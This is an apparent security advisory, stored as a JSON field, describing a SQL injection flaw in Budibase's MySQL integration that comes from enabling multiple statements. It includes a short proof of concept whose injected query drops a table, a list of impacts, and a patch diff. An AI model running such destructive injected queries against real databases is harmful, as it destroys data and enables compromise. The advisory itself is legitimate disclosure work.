  "details": "## Summary\nA critical SQL injection vulnerability was discovered in Budibase\u0027s MySQL integration that allows remote attackers to execute arbitrary SQL commands.\n\n## Details\n### Vulnerability Type\nSQL Injection\n\n### Description\nThe MySQL integration component in Budibase is configured with `multipleStatements: true`, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.\n\n### Location\n```typescript\n// File: packages/server/src/integrations/mysql.ts\n// Line: 173\n\nthis.config = {\n  ...config,\n  typeCast: defaultTypeCasting,\n  multipleStatements: true,  // VULNERABLE\n  timezone: \"Z\",\n}\n```\n\n## Proof of Concept\n\n### Exploit\n```javascript\nconst mysql = require(\u0027mysql2\u0027);\n\n// Budibase vulnerable configuration\nconst connection = mysql.createConnection({\n  host: \u0027localhost\u0027,\n  user: \u0027root\u0027,\n  password: \u0027password\u0027,\n  multipleStatements: true,  // Vulnerable setting\n  timezone: \"Z\"\n});\n\n// Attack: Data destruction\nconnection.query(\n  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,\n  (err, results) =\u003e {\n    if (!err) console.log(\"Table dropped successfully\");\n  }\n);\n```\n\n## Impact\n- **Data Destruction**: Execute DROP TABLE, DELETE commands\n- **Data Theft**: Exfiltrate data via SELECT INTO OUTFILE\n- **Privilege Escalation**: Grant database admin privileges\n- **Denial of Service**: Disrupt service operations\n- **Complete Database Compromise**: Full control over database\n\n## Remediation\n### Patch\n```diff\n--- a/packages/server/src/integrations/mysql.ts\n+++ b/packages/server/src/integrations/mysql.ts\n@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {\n     this.config = {\n       ...config,\n       typeCast: defaultTypeCasting,\n-      multipleStatements: true,\n+      multipleStatements: false,\n       timezone: \"Z\",\n     }\n   }\n```\n\n### Workarounds\n1. Temporarily disable MySQL integration\n2. Implement web application firewall (WAF)\n3. Restrict database user privileges",
